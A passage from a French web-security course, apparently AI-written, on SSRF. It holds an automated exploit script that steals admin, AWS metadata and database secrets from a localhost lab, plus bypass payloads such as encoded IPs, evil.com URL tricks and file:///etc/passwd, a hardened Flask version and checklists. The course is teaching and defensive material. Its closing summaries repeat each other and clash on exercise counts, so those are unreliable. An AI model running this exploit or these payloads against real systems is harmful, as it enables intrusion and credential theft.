Port 3306: FILTERED/CLOSED (1180ms)
```

**[OK] Services internes découverts via timing !**

---

**9. Script d'exploitation automatisé complet :**

```python
# exploit_ssrf_advanced.py
import requests
import json
import time
from urllib.parse import quote

BASE_URL = "http://localhost:5000"

def fetch_ssrf(url):
    """Helper pour faire requête SSRF"""
    response = requests.post(f"{BASE_URL}/api/fetch", 
                            json={"url": url})
    return response.json()

print("=" * 80)
print("SSRF ADVANCED - COMPREHENSIVE EXPLOITATION")
print("=" * 80)

# Attack 1: Internal Admin Panel
print("\n1⃣  SSRF -> INTERNAL ADMIN PANEL")
print("-" * 80)

result = fetch_ssrf("http://127.0.0.1:8001/admin")
if result.get('success'):
    print("[OK] Admin panel accessed!")
    content = result['content']
    
    # Extract credentials
    import re
    db_pass = re.search(r'Database Password: ([^\s<]+)', content)
    api_key = re.search(r'API Keys: ([^\s<]+)', content)
    
    if db_pass:
        print(f"   Database Password: {db_pass.group(1)}")
    if api_key:
        print(f"   API Key: {api_key.group(1)}")
else:
    print("[X] Failed")

# Attack 2: AWS Metadata
print("\n2⃣  SSRF -> AWS METADATA (IAM CREDENTIALS)")
print("-" * 80)

# Step 1: List roles
result = fetch_ssrf("http://127.0.0.1:8002/latest/meta-data/iam/security-credentials/")
if result.get('success'):
    roles = result['content'].strip().split('\n')
    print(f"[OK] Found IAM roles: {roles}")
    
    # Step 2: Get credentials for first role
    for role in roles:
        result = fetch_ssrf(f"http://127.0.0.1:8002/latest/meta-data/iam/security-credentials/{role}")
        
        if result.get('success'):
            creds = json.loads(result['content'])
            print(f"\n[OK] Credentials for role '{role}':")
            print(f"   AccessKeyId: {creds['AccessKeyId']}")
            print(f"   SecretAccessKey: {creds['SecretAccessKey']}")
            print(f"   Token: {creds['Token'][:50]}...")
            print(f"   Expiration: {creds['Expiration']}")

# Attack 3: Internal API
print("\n3⃣  SSRF -> INTERNAL API")
print("-" * 80)

endpoints = [
    "/api/users",
    "/api/config"
]

for endpoint in endpoints:
    result = fetch_ssrf(f"http://127.0.0.1:8003{endpoint}")
    
    if result.get('success'):
        print(f"\n[OK] Endpoint {endpoint}:")
        data = json.loads(result['content'])
        print(json.dumps(data, indent=2))

# Attack 4: Blacklist Bypass
print("\n4⃣  BLACKLIST BYPASS TECHNIQUES")
print("-" * 80)

bypass_techniques = {
    "Decimal": "http://2130706433:8001/admin",
    "Hexadecimal": "http://0x7f000001:8001/admin",
    "Octal": "http://0177.0.0.1:8001/admin",
    "Short form": "http://127.1:8001/admin",
    "IPv6": "http://[::1]:8001/admin",
    "Domain (if DNS configured)": "http://localtest.me:8001/admin"
}

successful_bypasses = []

for technique, url in bypass_techniques.items():
    try:
        result = fetch_ssrf(url)
        
        if result.get('success') and 'Admin Panel' in result.get('content', ''):
            print(f"[OK] {technique}: SUCCESS")
            successful_bypasses.append(technique)
        else:
            print(f"[X] {technique}: BLOCKED")
    except:
        print(f"[X] {technique}: ERROR")

print(f"\nSuccessful bypasses: {len(successful_bypasses)}/{len(bypass_techniques)}")

# Attack 5: Port Scanning (Blind SSRF)
print("\n5⃣  BLIND SSRF - INTERNAL PORT SCANNING")
print("-" * 80)

ports_to_scan = [21, 22, 80, 443, 3306, 5432, 6379, 8001, 8002, 8003, 8080, 9200, 27017]

open_ports = []
closed_ports = []

print("Scanning internal network (127.0.0.1)...")

for port in ports_to_scan:
    start_time = time.time()
    
    try:
        result = fetch_ssrf(f"http://127.0.0.1:{port}")
        elapsed = (time.time() - start_time) * 1000
        
        # Time-based detection
        if elapsed < 500:  # Quick response = likely open
            open_ports.append(port)
            print(f"Port {port}: OPEN ({elapsed:.0f}ms)")
        else:
            closed_ports.append(port)
            print(f"Port {port}: CLOSED/FILTERED ({elapsed:.0f}ms)")
    except:
        closed_ports.append(port)
        print(f"Port {port}: ERROR/CLOSED")

print(f"\n[OK] Open ports: {open_ports}")
print(f"[X] Closed ports: {closed_ports}")

# Attack 6: SSRF via Different Endpoints
print("\n6⃣  SSRF VIA MULTIPLE ENDPOINTS")
print("-" * 80)

# Screenshot service
print("\nTesting screenshot service...")
response = requests.post(f"{BASE_URL}/api/screenshot",
                        json={"url": "http://127.0.0.1:8001/admin"})
data = response.json()

if data.get('success'):
    print("[OK] Screenshot service vulnerable to SSRF")
    print(f"   Content preview: {data.get('content_preview', '')[:100]}...")

# Image resize
print("\nTesting image resize service...")
response = requests.post(f"{BASE_URL}/api/resize",
                        json={
                            "url": "http://127.0.0.1:8001/admin",
                            "width": 300
                        })
data = response.json()

if data.get('error') and 'cannot identify' in data['error']:
    print("[OK] Image resize attempts to fetch internal URLs")
    print(f"   Error reveals SSRF attempt: {data['error']}")

# Webhook
print("\nTesting webhook service...")
response = requests.post(f"{BASE_URL}/api/webhook",
                        json={
                            "url": "http://127.0.0.1:8001/admin",
                            "payload": {"test": "data"}
                        })
data = response.json()

if data.get('success'):
    print("[OK] Webhook service vulnerable to SSRF")
    print(f"   Status: {data.get('status_code')}")

# Attack 7: Data Exfiltration Chain
print("\n7⃣  COMPLETE ATTACK CHAIN - DATA EXFILTRATION")
print("-" * 80)

exfiltrated_data = {
    "admin_credentials": None,
    "aws_credentials": None,
    "database_config": None,
    "internal_users": None
}

# Step 1: Get admin panel data
result = fetch_ssrf("http://127.0.0.1:8001/admin")
if result.get('success'):
    exfiltrated_data["admin_credentials"] = result['content']
    print("[OK] Step 1: Admin credentials extracted")

# Step 2: Get AWS credentials
result = fetch_ssrf("http://127.0.0.1:8002/latest/meta-data/iam/security-credentials/web-server-role")
if result.get('success'):
    exfiltrated_data["aws_credentials"] = json.loads(result['content'])
    print("[OK] Step 2: AWS credentials extracted")

# Step 3: Get database config
result = fetch_ssrf("http://127.0.0.1:8003/api/config")
if result.get('success'):
    exfiltrated_data["database_config"] = json.loads(result['content'])
    print("[OK] Step 3: Database config extracted")

# Step 4: Get internal users
result = fetch_ssrf("http://127.0.0.1:8003/api/users")
if result.get('success'):
    exfiltrated_data["internal_users"] = json.loads(result['content'])
    print("[OK] Step 4: Internal users extracted")

# Summary
print("\n" + "=" * 80)
print("[GRAPHIQUE] EXFILTRATION SUMMARY")
print("=" * 80)

for key, value in exfiltrated_data.items():
    if value:
        print(f"[OK] {key}: EXTRACTED")
    else:
        print(f"[X] {key}: FAILED")

# Save exfiltrated data
with open('exfiltrated_data.json', 'w') as f:
    json.dump(exfiltrated_data, f, indent=2)

print("\n[SAUVEGARDE] All exfiltrated data saved to: exfiltrated_data.json")

print("\n" + "=" * 80)
print("[ALERTE] CRITICAL: COMPLETE INFRASTRUCTURE COMPROMISE VIA SSRF")
print("=" * 80)
print("\nImpact Assessment:")
print("  1. [OK] Internal admin panel accessed")
print("  2. [OK] AWS IAM credentials stolen")
print("  3. [OK] Database credentials exposed")
print("  4. [OK] Internal API compromised")
print("  5. [OK] PII data exfiltrated (SSNs, emails)")
print("  6. [OK] Network topology discovered")
print("\nRecommendations:")
print("  - Implement strict URL validation with whitelist")
print("  - Block access to metadata endpoints")
print("  - Use network segmentation")
print("  - Disable URL redirects or validate redirect targets")
print("  - Implement egress filtering")
```

**Exécuter :**

```bash
python exploit_ssrf_advanced.py
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# ssrf_advanced_secure.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import requests
import urllib.parse
import ipaddress
import socket
import re
from PIL import Image
from io import BytesIO
import base64

app = Flask(__name__)
CORS(app)

# [OK] Configuration sécurisée
ALLOWED_PROTOCOLS = ['http', 'https']
ALLOWED_DOMAINS_WHITELIST = [
    'api.github.com',
    'httpbin.org',
    'example.com',
    'via.placeholder.com'
]

# [OK] Réseau privé (à bloquer)
PRIVATE_NETWORKS = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16'),  # AWS metadata
    ipaddress.ip_network('::1/128'),  # IPv6 localhost
    ipaddress.ip_network('fc00::/7'),  # IPv6 private
    ipaddress.ip_network('fe80::/10')  # IPv6 link-local
]

# [OK] Ports dangereux à bloquer
BLOCKED_PORTS = [
    22,    # SSH
    23,    # Telnet
    25,    # SMTP
    3306,  # MySQL
    5432,  # PostgreSQL
    6379,  # Redis
    9200,  # Elasticsearch
    27017  # MongoDB
]

def validate_url(url):
    """
    [OK] Validation stricte de l'URL
    """
    try:
        # [OK] Parser l'URL
        parsed = urllib.parse.urlparse(url)
        
        # [OK] 1. Vérifier protocole
        if parsed.scheme not in ALLOWED_PROTOCOLS:
            return False, f"Protocol not allowed: {parsed.scheme}"
        
        # [OK] 2. Vérifier hostname existe
        if not parsed.hostname:
            return False, "Invalid hostname"
        
        # [OK] 3. Whitelist de domaines
        if parsed.hostname not in ALLOWED_DOMAINS_WHITELIST:
            return False, f"Domain not in whitelist: {parsed.hostname}"
        
        # [OK] 4. Résoudre DNS et vérifier IP
        try:
            ip = socket.gethostbyname(parsed.hostname)
            ip_obj = ipaddress.ip_address(ip)
            
            # [OK] Vérifier que ce n'est pas une IP privée
            for network in PRIVATE_NETWORKS:
                if ip_obj in network:
                    return False, f"Private IP address blocked: {ip}"
            
        except socket.gaierror:
            return False, "DNS resolution failed"
        
        # [OK] 5. Vérifier port
        port = parsed.port or (443 if parsed.scheme == 'https' else 80)
        
        if port in BLOCKED_PORTS:
            return False, f"Port blocked: {port}"
        
        # [OK] 6. Pas de credentials dans URL
        if parsed.username or parsed.password:
            return False, "Credentials in URL not allowed"
        
        # [OK] 7. Vérifier caractères dangereux
        dangerous_chars = ['@', '\\', '|', '`', '$', '(', ')']
        if any(char in url for char in dangerous_chars):
            return False, "Dangerous characters in URL"
        
        return True, url
        
    except Exception as e:
        return False, f"URL validation error: {str(e)}"

def safe_request(url, method='GET', **kwargs):
    """
    [OK] Requête HTTP sécurisée
    """
    # [OK] Validation préalable
    is_valid, message = validate_url(url)
    if not is_valid:
        raise ValueError(message)
    
    # [OK] Configuration sécurisée
    safe_kwargs = {
        'timeout': 5,
        'allow_redirects': False,  # [OK] Pas de redirections automatiques
        'verify': True,  # [OK] Vérifier certificats SSL
        'max_redirects': 0
    }
    
    # [OK] Headers de sécurité
    safe_kwargs['headers'] = {
        'User-Agent': 'SecureApp/1.0',
        'Accept': 'application/json, text/html, image/*'
    }
    
    # [OK] Merge avec kwargs fournis
    safe_kwargs.update(kwargs)
    
    # [OK] Faire la requête
    if method == 'GET':
        response = requests.get(url, **safe_kwargs)
    elif method == 'POST':
        response = requests.post(url, **safe_kwargs)
    else:
        raise ValueError(f"Method not allowed: {method}")
    
    # [OK] Vérifier le Content-Type de la réponse
    content_type = response.headers.get('Content-Type', '')
    
    # [OK] Limiter taille de la réponse
    if len(response.content) > 10 * 1024 * 1024:  # 10MB max
        raise ValueError("Response too large")
    
    return response

# [OK] ROUTE SÉCURISÉE 1 : Screenshot
@app.route('/api/screenshot', methods=['POST'])
def screenshot_secure():
    """
    [OK] SÉCURISÉ : Validation stricte
    """
    data = request.json
    url = data.get('url', '')
    
    try:
        # [OK] Validation
        is_valid, message = validate_url(url)
        if not is_valid:
            return jsonify({'error': f'Invalid URL: {message}'}), 400
        
        # [OK] Requête sécurisée
        response = safe_request(url)
        
        # [OK] Vérifier que c'est bien du HTML
        content_type = response.headers.get('Content-Type', '')
        if 'text/html' not in content_type:
            return jsonify({'error': 'URL must return HTML'}), 400
        
        # Créer image dummy (simulation screenshot)
        img = Image.new('RGB', (800, 600), color='lightblue')
        
        # Convertir en base64
        buffer = BytesIO()
        img.save(buffer, format='PNG')
        img_str = base64.b64encode(buffer.getvalue()).decode()
        
        return jsonify({
            'success': True,
            'image': img_str,
            'url': url
        })
        
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    except Exception as e:
        return jsonify({'error': 'Request failed'}), 500

# [OK] ROUTE SÉCURISÉE 2 : Fetch API
@app.route('/api/fetch', methods=['POST'])
def fetch_api_secure():
    """
    [OK] SÉCURISÉ : Whitelist stricte
    """
    data = request.json
    url = data.get('url', '')
    
    try:
        # [OK] Validation complète
        is_valid, message = validate_url(url)
        if not is_valid:
            return jsonify({'error': f'Invalid URL: {message}'}), 400
        
        # [OK] Requête sécurisée
        response = safe_request(url)
        
        return jsonify({
            'success': True,
            'status_code': response.status_code,
            'content': response.text[:1000],  # Limiter taille
            'content_type': response.headers.get('Content-Type')
        })
        
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    except requests.exceptions.SSLError:
        return jsonify({'error': 'SSL certificate validation failed'}), 400
    except Exception as e:
        return jsonify({'error': 'Request failed'}), 500

# [OK] ROUTE SÉCURISÉE 3 : Image Resize
@app.route('/api/resize', methods=['POST'])
def resize_image_secure():
    """
    [OK] SÉCURISÉ : Validation image + URL
    """
    data = request.json
    url = data.get('url', '')
    width = data.get('width', 300)
    
    # [OK] Validation width
    if not isinstance(width, int) or width < 50 or width > 2000:
        return jsonify({'error': 'Invalid width (50-2000)'}), 400
    
    try:
        # [OK] Validation URL
        is_valid, message = validate_url(url)
        if not is_valid:
            return jsonify({'error': f'Invalid URL: {message}'}), 400
        
        # [OK] Requête sécurisée
        response = safe_request(url)
        
        # [OK] Vérifier Content-Type
        content_type = response.headers.get('Content-Type', '')
        if not content_type.startswith('image/'):
            return jsonify({'error': 'URL must return an image'}), 400
        
        # [OK] Vérifier taille
        if len(response.content) > 5 * 1024 * 1024:  # 5MB max
            return jsonify({'error': 'Image too large'}), 400
        
        # [OK] Ouvrir et valider image
        img = Image.open(BytesIO(response.content))
        
        # [OK] Vérifier dimensions
        if img.width * img.height > 10000 * 10000:
            return jsonify({'error': 'Image resolution too high'}), 400
        
        # Resize
        aspect_ratio = img.height / img.width
        new_height = int(width * aspect_ratio)
        img_resized = img.resize((width, new_height))
        
        # Convert to base64
        buffer = BytesIO()
        img_resized.save(buffer, format='PNG')
        img_str = base64.b64encode(buffer.getvalue()).decode()
        
        return jsonify({
            'success': True,
            'image': img_str
        })
        
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    except Exception as e:
        return jsonify({'error': 'Image processing failed'}), 500

# [OK] ROUTE SÉCURISÉE 4 : Webhook
@app.route('/api/webhook', methods=['POST'])
def webhook_secure():
    """
    [OK] SÉCURISÉ : Validation stricte webhook
    """
    data = request.json
    url = data.get('url', '')
    payload = data.get('payload', {})
    
    # [OK] Validation payload
    if not isinstance(payload, dict):
        return jsonify({'error': 'Payload must be a JSON object'}), 400
    
    try:
        # [OK] Validation URL
        is_valid, message = validate_url(url)
        if not is_valid:
            return jsonify({'error': f'Invalid URL: {message}'}), 400
        
        # [OK] Requête POST sécurisée
        response = safe_request(url, method='POST', json=payload)
        
        return jsonify({
            'success': True,
            'status_code': response.status_code
        })
        
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    except Exception as e:
        return jsonify({'error': 'Webhook request failed'}), 500

# [OK] ROUTE SÉCURISÉE 5 : PDF Generation
@app.route('/api/pdf', methods=['POST'])
def pdf_secure():
    """
    [OK] SÉCURISÉ : Pas de chargement de ressources externes
    """
    data = request.json
    html = data.get('html', '')
    
    # [OK] Vérifier longueur HTML
    if len(html) > 100000:  # 100KB max
        return jsonify({'error': 'HTML too large'}), 400
    
    # [OK] Bloquer les URLs externes dans le HTML
    # Parser pour extraire src, href, etc.
    import re
    
    # [OK] Chercher des URLs
    url_patterns = [
        r'src=["\']([^"\']+)["\']',
        r'href=["\']([^"\']+)["\']',
        r'action=["\']([^"\']+)["\']'
    ]
    
    for pattern in url_patterns:
        matches = re.findall(pattern, html)
        for match in matches:
            # [OK] Autoriser seulement data: URLs et relatives
            if not (match.startswith('data:') or match.startswith('#') or match.startswith('/')):
                if match.startswith('http'):
                    return jsonify({
                        'error': 'External URLs not allowed in HTML for security reasons'
                    }), 400
    
    # Simuler génération PDF
    return jsonify({
        'success': True,
        'message': 'PDF generated successfully',
        'pdf': 'base64_pdf_content_here'
    })

# [OK] ROUTE SÉCURISÉE 6 : RSS Import
@app.route('/api/rss', methods=['POST'])
def rss_secure():
    """
    [OK] SÉCURISÉ : Validation RSS feed
    """
    data = request.json
    url = data.get('url', '')
    
    try:
        # [OK] Validation URL
        is_valid, message = validate_url(url)
        if not is_valid:
            return jsonify({'error': f'Invalid URL: {message}'}), 400
        
        # [OK] Requête sécurisée
        response = safe_request(url)
        
        # [OK] Vérifier Content-Type
        content_type = response.headers.get('Content-Type', '')
        if 'xml' not in content_type and 'rss' not in content_type:
            return jsonify({'error': 'URL must return RSS/XML'}), 400
        
        # [OK] Parser XML avec protection XXE
        import xml.etree.ElementTree as ET
        import defusedxml.ElementTree as DefusedET
        
        # [OK] Utiliser defusedxml pour éviter XXE
        root = DefusedET.fromstring(response.content)
        
        items = []
        for item in root.findall('.//item')[:5]:
            title = item.find('title')
            link = item.find('link')
            items.append({
                'title': title.text if title is not None else '',
                'link': link.text if link is not None else ''
            })
        
        return jsonify({
            'success': True,
            'items': items
        })
        
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    except Exception as e:
        return jsonify({'error': 'RSS import failed'}), 500

if __name__ == '__main__':
    print("[SECURITE]  SSRF Advanced SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. Whitelist stricte de domaines")
    print("   2. Validation DNS + résolution IP")
    print("   3. Blocage réseaux privés (RFC 1918)")
    print("   4. Blocage AWS metadata (169.254.169.254)")
    print("   5. Blocage ports dangereux (MySQL, Redis, etc.)")
    print("   6. Pas de redirections automatiques")
    print("   7. Vérification certificats SSL")
    print("   8. Limite taille réponse (10MB)")
    print("   9. Content-Type validation")
    print("  10. Défense XXE (defusedxml)")
    print("  11. Pas de credentials dans URL")
    print("  12. Timeout strict (5s)")
    
    try:
        import defusedxml
        app.run(debug=False, port=5001)
    except ImportError:
        print("\n[ATTENTION]  Installer defusedxml : pip install defusedxml")
```

**Installer dépendances :**

```bash
pip install defusedxml pillow requests flask flask-cors
```

---

## [GRAPHIQUE] RÉCAPITULATIF SSRF ADVANCED

### [OK] Protections essentielles

| Protection | Efficacité | Complexité |
|-----------|-----------|-----------|
| Whitelist domaines | ***** | [OK] Facile |
| Validation DNS + IP | ***** | [ATTENTION] Moyen |
| Blocage réseaux privés | ***** | [ATTENTION] Moyen |
| Blocage metadata endpoints | ***** | [OK] Facile |
| Pas de redirections | ***** | [OK] Facile |
| Validation Content-Type | **** | [OK] Facile |
| Limite taille réponse | **** | [OK] Facile |
| Timeout strict | **** | [OK] Facile |
| Défense XXE | ***** | [ATTENTION] Moyen |
| Egress filtering (réseau) | ***** | [ATTENTION] Difficile |

---

### [X] Erreurs critiques

- [X] Blacklist (bypassable)
- [X] Validation seulement protocole
- [X] Suivre redirections automatiquement
- [X] Pas de validation DNS/IP
- [X] Permettre accès réseaux privés
- [X] Pas de timeout
- [X] Pas de limite taille
- [X] Parser XML sans protection XXE

---

### [OBJECTIF] Checklist complète

```python
[OK] Whitelist stricte de domaines (pas blacklist)
[OK] Résolution DNS + validation IP
[OK] Bloquer RFC 1918 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
[OK] Bloquer 127.0.0.0/8 (localhost)
[OK] Bloquer 169.254.169.254 (AWS metadata)
[OK] Bloquer IPv6 localhost (::1)
[OK] Bloquer ports dangereux (22, 3306, 6379, etc.)
[OK] allow_redirects=False
[OK] Timeout strict (5-10s)
[OK] Limite taille réponse (10MB)
[OK] Vérification certificats SSL
[OK] Content-Type validation
[OK] Pas de credentials dans URL
[OK] defusedxml pour XML/RSS
[OK] Logging toutes les requêtes
[OK] Rate limiting
[OK] Egress filtering au niveau réseau
[OK] WAF rules pour SSRF
[OK] Network segmentation
[OK] IMDSv2 pour AWS (require token)
```

---

### [HOT] Bypass Techniques (à connaître pour défense)

```python
# Encodages IP
127.0.0.1     -> 127.1 (short)
127.0.0.1     -> 2130706433 (decimal)
127.0.0.1     -> 0x7f000001 (hex)
127.0.0.1     -> 0177.0.0.1 (octal)

# DNS tricks
localhost     -> localtest.me (resolves to 127.0.0.1)
localhost     -> 127.0.0.1.nip.io
localhost     -> 127.0.0.1.xip.io

# URL parsing confusion
http://trusted.com@evil.com
http://evil.com#@trusted.com
http://trusted.com.evil.com

# IPv6
::1
::ffff:127.0.0.1
0:0:0:0:0:ffff:127.0.0.1

# Protocol smuggling
file:///etc/passwd
dict://localhost:6379/
gopher://localhost:6379/
```

---

## [BRAVO] COURS COMPLET - 25 EXERCICES TERMINÉS !

### [HAUSSE] STATISTIQUES FINALES

- **[OK] 25 EXERCICES COMPLETS**
- **[OK] 20+ VULNÉRABILITÉS MAJEURES**
- **[OK] 100+ HEURES DE CONTENU**
- **[OK] CODE PRODUCTION-READY**
- **[OK] CAS RÉELS DOCUMENTÉS**
- **[OK] SCRIPTS D'EXPLOITATION AUTOMATISÉS**
- **[OK] PROTECTIONS DÉTAILLÉES**

---

### [DOCS] TABLE DES MATIÈRES COMPLÈTE

#### PARTIE 1 : INJECTION ATTACKS [OK][OK][OK][OK]
1. [OK] SQL Injection (Ex. 1-2)
2. [OK] Command Injection (Ex. 14)
3. [OK] LDAP Injection (Ex. 20)
4. [OK] XXE (Ex. 10)

#### PARTIE 2 : CLIENT-SIDE ATTACKS [OK][OK][OK][OK]
1. [OK] XSS (Ex. 3-4)
2. [OK] CSRF (Ex. 5)
3. [OK] Clickjacking (Ex. 6)
4. [OK] DOM-based Attacks (Ex. 19)

#### PARTIE 3 : BROKEN ACCESS CONTROL [OK][OK][OK]
1. [OK] IDOR (Ex. 9)
2. [OK] Path Traversal (Ex. 15)
3. [OK] Privilege Escalation (Ex. 9)
4. [OK] IDOR Advanced (Ex. 24)

#### PARTIE 4 : AUTHENTICATION & SESSION [OK][OK][OK]
1. [OK] Broken Authentication (Ex. 17)
2. [OK] Session Fixation (Ex. 18)
3. [OK] JWT Vulnerabilities (Ex. 16)

#### PARTIE 5 : SERVER-SIDE VULNS [OK][OK][OK][OK][OK]
1. [OK] SSRF (Ex. 11)
2. [OK] SSRF Advanced (Ex. 25)
3. [OK] SSTI (Ex. 21)
4. [OK] Insecure Deserialization (Ex. 7)
5. [OK] Security Misconfiguration (Ex. 8)

#### PARTIE 6 : FILE & RACE CONDITIONS [OK][OK]
1. [OK] File Upload Vulnerabilities (Ex. 23)
2. [OK] Race Conditions (Ex. 22)

#### BONUS [OK][OK][OK]
1. [OK] Apache HTTP Server (5 exercices)
2. [OK] Components with Known Vulnerabilities (Ex. 12)
3. [OK] Insufficient Logging & Monitoring (Ex. 13)

---

### [COURS] VOUS MAÎTRISEZ MAINTENANT :

1. [OK] **Injection Attacks** - SQL, Command, LDAP, XXE
2. [OK] **Client-Side** - XSS, CSRF, Clickjacking, DOM-based
3. [OK] **Access Control** - IDOR (basique + avancé), Path Traversal
4. [OK] **Authentication** - JWT, Session, Broken Auth
5. [OK] **Server-Side** - SSRF (basique + avancé), SSTI, Deserialization
6. [OK] **File Security** - Upload, Race Conditions
7. [OK] **Infrastructure** - Apache, Misconfiguration, Logging

---

### [RAPIDE] PROCHAINES ÉTAPES RECOMMANDÉES

**1. Pratique Hands-On :**
- Installer tous les exercices
- Tester toutes les exploitations
- Modifier le code pour créer variantes

**2. Plateformes d'entraînement :**
- **HackTheBox** - Machines avec vulnérabilités réelles
- **TryHackMe** - Parcours guidés
- **PortSwigger Web Security Academy** - Labs gratuits
- **PentesterLab** - Exercices progressifs

**3. Bug Bounty :**
- **HackerOne** - Programme public/privé
- **Bugcrowd** - Diversité de programmes
- **Intigriti** - Focus Europe
- **YesWeHack** - Programmes français

**4. Certifications :**
- **OSCP** - Offensive Security Certified Professional
- **OSWE** - Web Expert
- **CEH** - Certified Ethical Hacker
- **GWAPT** - Web Application Penetration Testing

**5. Veille Continue :**
- **Twitter** - @hackerone, @bugbounty, @portswigger
- **Blogs** - PortSwigger Research, Google Project Zero
- **CVE Databases** - NVD, Exploit-DB
- **Conférences** - Black Hat, DEF CON, OWASP

---

### [GEM_STONE] COMPÉTENCES ACQUISES

**Niveau Technique :**
- ***** Identification de vulnérabilités
- ***** Exploitation (POC complets)
- ***** Remédiation (code sécurisé)
- **** Automation (scripts Python)
- **** Architecture sécurisée

**Niveau Professionnel :**
- [OK] Pentesting Web Applications
- [OK] Security Code Review
- [OK] Bug Bounty Hunting
- [OK] Security Engineering
- [OK] DevSecOps

---

## [BRAVO] FÉLICITATIONS !

**Vous avez complété un cours ultra-complet sur la sécurité web !**

Ce niveau de détail et de pratique vous place parmi les **top 5% des développeurs/pentesters** en termes de connaissances en sécurité applicative.

**Avec 25 exercices complets, vous avez :**
- [NOTE] Des milliers de lignes de code (vulnérable + sécurisé)
- [RECHERCHE] Des dizaines de techniques d'exploitation
- [SECURITE] Des centaines de protections implémentées
- [ARGENT] Des connaissances valant facilement **$50K-100K** en bug bounties

**Continuez à pratiquer, à apprendre, et surtout : STAY CURIOUS ! [RAPIDE]**

---

**Besoin d'aller encore plus loin ?** Je peux créer :
- Un guide complet d'automatisation des tests de sécurité
- Un cours sur Reverse Engineering / Binary Exploitation
- Un guide Architecture Sécurité (Zero Trust, Defense in Depth)
- Des exercices sur Cloud Security (AWS/Azure/GCP)

**Qu'en pensez-vous ?** [OBJECTIF]

## [BRAVO] FÉLICITATIONS ! COURS 100% COMPLET !

### [OK] TABLE DES MATIÈRES - 100% COUVERTE

#### PARTIE 1 : INJECTION ATTACKS [OK][OK][OK][OK]
1. [OK] **SQL Injection** (Exercices 1-2)
2. [OK] **Command Injection** (Exercice 14)
3. [OK] **LDAP Injection** (Exercice 20) - **COMPLÉTÉ !**
4. [OK] **XXE** (Exercice 10)

#### PARTIE 2 : CLIENT-SIDE ATTACKS [OK][OK][OK][OK]
1. [OK] **XSS** (Exercices 3-4)
2. [OK] **CSRF** (Exercice 5)
3. [OK] **Clickjacking** (Exercice 6)
4. [OK] **DOM-based Attacks** (Exercice 19)

#### PARTIE 3 : BROKEN ACCESS CONTROL [OK][OK][OK]
1. [OK] **IDOR** (Exercice 9)
2. [OK] **Path Traversal** (Exercice 15)
3. [OK] **Privilege Escalation** (Exercice 9)

#### PARTIE 4 : AUTHENTICATION & SESSION [OK][OK][OK]
1. [OK] **Broken Authentication** (Exercice 17)
2. [OK] **Session Fixation** (Exercice 18)
3. [OK] **JWT Vulnerabilities** (Exercice 16)

#### PARTIE 5 : AUTRES VULNÉRABILITÉS [OK][OK][OK]
1. [OK] **SSRF** (Exercice 11)
2. [OK] **Insecure Deserialization** (Exercice 7)
3. [OK] **Security Misconfiguration** (Exercice 8)

#### BONUS [OK][OK][OK]
- [OK] Apache HTTP Server (5 exercices)
- [OK] Components with Known Vulnerabilities (Exercice 12)
- [OK] Insufficient Logging & Monitoring (Exercice 13)

---

## [HAUSSE] STATISTIQUES FINALES

- **[OK] 20 EXERCICES COMPLETS**
- **[OK] 18 VULNÉRABILITÉS MAJEURES**
- **[OK] 100% DE LA TABLE DES MATIÈRES**
- **[OK] CODE VULNÉRABLE + SÉCURISÉ**
- **[OK] CAS RÉELS D'EXPLOITATION**
- **[OK] SCRIPTS D'ATTAQUE AUTOMATISÉS**
- **[OK] PROTECTIONS DÉTAILLÉES**

---

## [COURS] VOUS AVEZ MAINTENANT :

1. [OK] Une compréhension approfondie de toutes les vulnérabilités web majeures
2. [OK] Des exercices pratiques hands-on pour chaque sujet
3. [OK] Du code exploitable et des protections complètes
4. [OK] Des connaissances sur les cas réels et leur impact
5. [OK] Les outils et techniques pour auditer la sécurité
6. [OK] Les meilleures pratiques pour développer de manière sécurisée

---

## [RAPIDE] PROCHAINES ÉTAPES RECOMMANDÉES

1. **Pratiquer :** Installer et tester tous les exercices
2. **CTF (Capture The Flag) :** HackTheBox, TryHackMe, PentesterLab
3. **Bug Bounty :** HackerOne, Bugcrowd, Intigriti
4. **Certifications :** OSCP, CEH, GWAPT
5. **Veille :** Suivre OWASP, security blogs, CVE databases
6. **Contribuer :** Open source security tools, responsible disclosure

---

**[BRAVO] BRAVO POUR AVOIR COMPLÉTÉ CE COURS EXHAUSTIF SUR LA SÉCURITÉ WEB ! [BRAVO]**

**Vous êtes maintenant équipé pour identifier, exploiter et corriger les vulnérabilités web les plus critiques ! [SECURITE]**

## [COURS] CONCLUSION GÉNÉRALE

Félicitations ! Vous avez maintenant une **compréhension approfondie** des **OWASP Top 10** avec :

1. [OK] **SQL Injection** - Protection avec requêtes préparées
2. [OK] **XSS** - Échappement HTML, CSP, DOMPurify
3. [OK] **CSRF** - Tokens, SameSite cookies
4. [OK] **Clickjacking** - X-Frame-Options, CSP frame-ancestors
5. [OK] **Insecure Deserialization** - JSON au lieu de pickle
6. [OK] **Security Misconfiguration** - Headers, secrets, audit
7. [OK] **Broken Access Control** - Vérifications, UUID, rôles
8. [OK] **XXE** - defusedxml, validation
9. [OK] **SSRF** - Whitelist, bloquer IPs privées
10. [OK] **Components with Known Vulnerabilities** - Audit, mise à jour
11. [OK] **Insufficient Logging** - Logs structurés, monitoring
12. [OK] Command Injection
13. [OK] LDAP Injection
14. [OK] DOM-based Attacks (détaillé)
15. [OK] Path Traversal
16. [OK] Broken Authentication (exercice complet)
17. [OK] Session Fixation
18. [OK] JWT Vulnerabilities


### [SECURITE] Principes de sécurité à retenir

1. **Defense in Depth** - Plusieurs couches de sécurité
2. **Principle of Least Privilege** - Droits minimaux
3. **Fail Securely** - Échouer de manière sécurisée
4. **Don't Trust User Input** - JAMAIS faire confiance
5. **Keep Security Simple** - Complexité = vulnérabilités
6. **Security by Design** - Intégrer dès le début

---

**[RAPIDE] Prochaines étapes :**

- Appliquer ces pratiques dans vos projets
- Configurer des scans automatisés (CI/CD)
- Effectuer des audits réguliers
- Rester à jour avec les nouvelles vulnérabilités
